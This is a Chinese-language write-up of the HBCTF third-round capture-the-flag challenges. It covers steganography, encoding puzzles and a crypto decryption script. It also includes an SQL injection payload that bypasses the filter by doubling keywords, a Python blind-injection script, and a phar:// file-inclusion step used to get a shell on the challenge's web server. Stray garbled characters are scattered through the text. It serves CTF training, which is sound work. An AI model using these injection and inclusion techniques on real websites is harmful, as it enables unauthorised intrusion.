HBCTF第三場WP
https://blog.ctftools.com/2017/05/post155
發(fā)表于2017年5月23日
Misc
乍得-簽到
題作者:Pcat WriteUp作者:Pcat
原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/qd.zip
這圖有2幀,第二幀里就有flag底循。而這簽到題也是有一個坑點巢株,就是我的后綴名是寫.jpg而不是.gif,這樣會導致一些圖片播放器會以jpg播放(如win10默認的播放器)熙涤,而ps會直接打不開阁苞。只要用winhex打開看到gif頭,修改后綴名即可祠挫,或者你正好使用了可以識別gif頭來播放的圖片播放器也可以輕松簽到過關那槽。
ps,如果是用stegsolve等舔,則”Anylyse”→”Frame Brower”就可以看到有2幀骚灸。
蘇丹-Symmetric XY
題作者:Pcat WriteUp作者:Pcat
原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/SymmetricXY.txt
首先這題的介紹是雜項題,而不是密碼題慌植,所以不要絞盡心思的往密碼學去想甚牲。題目為Symmetric
XY义郑,Symmetric為對稱的意思,后面有XY丈钙,如果回憶起中學數學的話非驮,就不妨大膽的聯想到X軸對稱和Y軸對稱
題目的文本內容為55*7的大寫字母,只有大寫字母雏赦,題目又說對稱劫笙,那么就從字母對稱下手吧。 X軸對稱 BCDEKHIOX Y軸對稱
AMTWUVYHIOX 我們先保留X軸對稱的字母(這操作很簡單星岗,用正則替換即可)
在Sublime的替換里勾選上正則填大,把[^BCDEKHIOX\n]替換為空格,得到下面字符(使用Sublime也有一個好處就是等寬字體)俏橘,如下圖(圖中用了notepad++):
這個就是HBCTF{X
再ctrl+z撤回允华,再進行保留Y軸對稱的字母,把[^AMTWUVYHIOX\n]正則替換為空格敷矫,得到
這是IAOYAO}把前后連在一起就是HBCTF{XIAOYAO}
阿爾及利亞-QR_NO
題作者:Pcat WriteUp作者:Pcat
原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/qr_no.zip
在題目里我也是盡量給出tip例获,例如QR和NO,QR大家都知道是二維碼曹仗,那么NO是什么呢榨汤?另外描述里說“給你一張圖玩玩”。玩玩怎茫?玩什么收壕?玩游戲么?是的轨蛤,本題就是玩一款經典游戲蜜宪。先把zip解壓后是一張png,打開來看:圖片中間是logo祥山,不影響掃描圃验,但在右邊還有2個圖片(都是hbctf群的群圖標的一部分,只不過一張反色了)在干擾缝呕,導致直接掃描不出澳窑。表層的東西就這樣,那么就看看這個png文件里有沒有藏東西供常。
binwalk看得是懵逼摊聋,再上TweakPNG,
再用WinHex打開栈暇,
發(fā)現PNG的IEND結尾有一個NONO麻裁,后面還跟著IHDR,而且文件底部還有一個IEND,所以把NONO的4E4F4E4F修改為PNG頭的89504E47煎源,然后再分離出2個png文件(這一步你可以使用winhex或者foremost等等都可以)
第二圖打開為
這里有一個9*9的空白區(qū)域色迂,再去看看之前的qr圖,里面缺失的2個圖塊都是9*9薪夕,那么猜想下這里是要求完成圖塊(建議用photoshop去填充色塊)再去粘貼到之前的qr圖上脚草。這里其實就是一個經典游戲nonograms(自己百度去吧)赫悄,為了給大家興致原献,我就不貼完成的樣子,把完成的9*9摳下來埂淮,縮放到72像素*72像素姑隅,然后粘貼到qr圖那個反色的圖標上面(這里我之所以采用反色也是為了提醒就是粘貼在這里,至于那個不反色的圖標由于二維碼的容差性而不影響其掃描)(ps倔撞,由于二維碼的容差性很好讲仰,那個nonograms圖填錯一些也沒事的。)
Crypto
尼日爾-simpleAES
題作者:Pcat WriteUp作者:Pcat
原題下載:http://hbctf-1252906577.costj.myqcloud.com/crypto/simpleAES.py
這題其實不難痪蝇,就是涉及了md5鄙陡,b64,b32躏啰,DES3趁矾,AES而已,就是練練py腳本而已给僵。直接給解密腳本毫捣。
Python
# -*- coding:utf8 -*-__author__='pcat'__blog__='http://pcat.cnblogs.com'importreimportbase64fromhashlibimportmd5try:fromCrypto.CipherimportDES3,AESexceptImportError:print("Error: you must install the PyCrypto")print("http://www.cnblogs.com/pcat/p/6014575.html")exit()defgetkey():#因為一開始的key是經過encode的,所以爆破的字符集只需要十六進制即可cset='0123456789abcdef'#根據正則^5.*c.{2}54$key_model='5%s%sc%s%s54add_salt'foraincset:forbincset:forcincset:fordincset:key=key_model%(a,b,c,d)t=md5(key).hexdigest()ift=='a99c2b0ee8de34063367811c7cf2ca69':returnkeydefdecrypt():key=getkey()obj=DES3.new(key,DES3.MODE_ECB)cipher='mI4Os9etbYtcNJ6zF8psQA=='message=obj.decrypt(base64.b64decode(cipher))IV=''.join(chr(i)foriinrange(16))obj=AES.new(message,AES.MODE_CBC,IV)cipher2='4XCK5GX2TDXJQBHFHNUHLXKCEA4QZBX5ZWT7AAA45HHIGFOIBXZA===='flag=obj.decrypt(base64.b32decode(cipher2))printflagpassif__name__=='__main__':decrypt()
埃及-九重妖塔
題作者:逍遙自在 WriteUp作者:逍遙自在
原題下載:http://hbctf-1252906577.costj.myqcloud.com/crypto/9cyt.zip
1. 莫斯密碼很熟悉帝际,解得
%5cu0047%5cu0058%5cu0041%5cu0041%5cu0047%5cu004a%5cu0041%5cu0041%5cu0056%5cu0047
%5cu0041%5cu0042%5cu0047%5cu0056%5cu0057%5cu005a%5cu0042%5cu0057%5cu0044%5cu0041
%5cu0048%5cu005a%5cu005a%5cu0058%5cu0041%5cu0041%5cu0047%5cu004a%5cu0044%5cu005a
%5cu005a%5cu0058%5cu0041%5cu0041%5cu0048%5cu0041%5cu0048%5cu0047%5cu0047%5cu006c
%5cu0076%5cu0077%5cu0046%5cu0050%5cu0052%5cu0077%5cu0049%5cu0079%5cu006c%5cu0077
%5cu0046%5cu0046%5cu0052%5cu0047%5cu0046%5cu006c%5cu0076%5cu004e%5cu0048%5cu0047
%5cu0047%5cu006c%5cu0076%5cu0077%5cu0053%5cu0052%5cu0053%5cu0047%5cu0048%5cu006c
%5cu0076%5cu0076%5cu0052%5cu0054%5cu0062%5cu0074%5cu0048%5cu0045%5cu004f%5cu0048
%5cu0078%5cu005a%5cu0067%5cu0052%5cu0078%5cu0044%5cu0052%5cu004c%5cu0049%5cu0049
%5cu006a%5cu0074%5cu0030%5cu0048%5cu0063%5cu0049%5cu006b%5cu0078%5cu0052%5cu0045
%5cu004f%5cu004c%5cu0075%5cu0045%5cu0063%5cu0034%5cu0048%5cu0048%5cu006a%5cu0066
%5cu004f%5cu0078%5cu0031%5cu0075%5cu0049%5cu0054%5cu0038%5cu0034%5cu0075%5cu0050
%5cu006a%5cu0067%5cu0063%5cu0033%5cu0032%5cu005a%5cu004f%5cu0030%5cu006d%5cu0076
%5cu0079%5cu0050%5cu004f%5cu0052%5cu006d%5cu007a%5cu0049%5cu0054%5cu0038%5cu004c
%5cu004f%5cu0048%5cu006b%5cu007a%5cu0062%5cu0079%5cu0064%5cu0074
2. 看到%蔓同,就想想 URL 啊,解下吧
\u0047\u0058\u0041\u0041\u0047\u004a\u0041\u0041\u0056\u0047\u0041\u0042\u0047\u
0056\u0057\u005a\u0042\u0057\u0044\u0041\u0048\u005a\u005a\u0058\u0041\u0041\u00
47\u004a\u0044\u005a\u005a\u0058\u0041\u0041\u0048\u0041\u0048\u0047\u0047\u006c
\u0076\u0077\u0046\u0050\u0052\u0077\u0049\u0079\u006c\u0077\u0046\u0046\u0052\u
0047\u0046\u006c\u0076\u004e\u0048\u0047\u0047\u006c\u0076\u0077\u0053\u0052\u00
53\u0047\u0048\u006c\u0076\u0076\u0052\u0054\u0062\u0074\u0048\u0045\u004f\u0048
\u0078\u005a\u0067\u0052\u0078\u0044\u0052\u004c\u0049\u0049\u006a\u0074\u0030\u
0048\u0063\u0049\u006b\u0078\u0052\u0045\u004f\u004c\u0075\u0045\u0063\u0034\u00
48\u0048\u006a\u0066\u004f\u0078\u0031\u0075\u0049\u0054\u0038\u0034\u0075\u0050
\u006a\u0067\u0063\u0033\u0032\u005a\u004f\u0030\u006d\u0076\u0079\u0050\u004f\u
0052\u006d\u007a\u0049\u0054\u0038\u004c\u004f\u0048\u006b\u007a\u0062\u0079\u00
64\u0074
3. 看到\u 還想啥呢蹲诀?unicode 吧斑粱,
GXAAGJAAVGABGVWZBWDAHZZXAAGJDZZXAAHAHGGlvwFPRwIylwFFRGFlvNHGGlvwSRSGHlvvRTbtHEOH
xZgRxDRLIIjt0HcIkxREOLuEc4HHjfOx1uIT84uPjgc32ZO0mvyPORmzIT8LOHkzbydt
4. 第四關是坑點的到來了,這關考的是柵欄密碼脯爪,len 是 148则北,所以有四種,都列出來吧
5. 看起了是 base64 吧披粟,可是又有點不一樣啊咒锻,試試最常見的 rot13 唄
6.4 個一起 base64 解密唄,嗖嗖的守屉,看其中有一個還是挺像的惑艇,提出來吧
7.看起了好像 uuencode 啊,試試去吧
8.中間有加號,這是什么鬼啊滨巴,base64 之前考過了不是思灌,試試 xxencode 吧
9.這個 soeasy 了,base16恭取。flag 到手泰偿,撤退
WEB
沙特阿拉伯-大美西安
題作者:Wonderkun WriteUp作者:Wonderkun
題目地址:http://web150.ctftools.com/index.php?file=login
注冊一個賬號進入之后,發(fā)現download頁面的收藏功能存在整數型sql注入 download的過程是用文件id到數據庫中查找文件路徑,然后讀取文件返回. 所以可以用union聯合注入,修改文件名,下載別的文件. 這里有過濾,雙寫可以繞過.
image=888%20ununionion%20selselectect%200x696e6465782e706870&image_download=%E6%94%B6%E8%97%8F
就可以下載index.php,然后利用次方法下載所有的文件,進行代碼審計. 發(fā)現index.php 存在文件包含漏洞,但是限定了后綴必須是 .php文件 所以思路是利用php的phar協議繞過,但是卻沒有文件上傳路徑,所以需要利用注入獲取文件名. 由于過濾了(),所以需要利用union盲注,來找文件名. 具體怎么union盲注,參考這里http://wonderkun.cc/index.html/?p=547提供一個python的exp
Python
#!/usr/bin/python# coding:utf-8importrequestsdefgetFilename():data="image=2%20aandnd%20image_name%20lilikeke%200x74657374%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F"url="http://web150.ctftools.com/downfile.php"headers={"Content-Type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=k6to46unk90e733r47qdqh8ll7","User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"}randStr="0123456789abcdefghijklmnopqrstuvwxyz{"fileName="./Up10aDs/"for_inrange(33):print"[*]",fileNameforiinrange(len(randStr)):# print itmpFileName=fileName+randStr[i]proxies={"http":"127.0.0.1:8080"}res=requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=headers,proxies=proxies)# print res.textif"file may be deleted"notinres.text:fileName=fileName+randStr[i-1]breakif__name__=='__main__':getFilename()
計算出filename為:[*] ./Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva
加上后綴名為自己上傳文件的后綴名,就是文件名,所以文件名是
./Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva.png 包含此文件就可以getshell了.
http://web150.ctftools.com/index.php?file=phar://Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva.png/1
在文件F1AgIsH3r3G00d.php讀取到flag
$flag?=?"flag{f1a4628ee1e9dccfdc511f0490c73397}";
HBCTF官方群(點擊加入):595176019
在博客中遇到的問題可以聯系admin@ctftools.com
本文由Dr3@m原創(chuàng)發(fā)布,轉載請注明來自HBCTF BLOG蜈垮,轉載代碼(點擊全選耗跛,請按"Ctrl"+"C"復制):
文章導航